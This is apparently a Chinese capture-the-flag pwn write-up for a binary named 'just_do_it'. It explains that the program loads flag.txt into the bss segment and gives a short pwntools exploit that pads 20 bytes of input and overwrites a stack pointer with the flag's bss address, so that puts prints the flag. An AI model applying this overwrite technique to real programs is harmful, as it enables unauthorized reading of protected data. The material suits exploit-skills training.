注意 :
不是每一个pwn
题都是溢出后,我们可以利用的。 在cycly
后你会发现这个程序没有造成溢出,我们看到flag.txt
,首先想到ret
到我们的flag
处(记住这没有溢出)。 我们发现了put
函数,我们查看栈内的情况发现put
函数,和我们s
输入之间相差20
,我们可以将数据填充,然后put
出我们flag.txt
。 put的地址需要思考.....
stream = fopen("flag.txt", "r");
if ( !stream )
{
perror("file open error.\n");
exit(0);
}
if ( !fgets(flag, 48, stream) ) //如果不等于条件,文件打开失败, 反之
{
perror("file read error.\n");
exit(0);
}
注:程序读取了本地flag.txt
文件 将flag
里面的内容存储到了 bss
段里面去了。 我们put
出bss
段的内容就ok
了!
EXP
from pwn import*
p = process('./just_do_it')
bss_flag_addr = 0x0804A080
#gdb.attach(p)
payload = 'A'*20 #s和put相差 20
#payload += p32(0) #这里没有覆盖ebp
payload += p32(bss_flag_addr) #bss段存储flag内容的地方
p.sendline(payload)
p.interactive()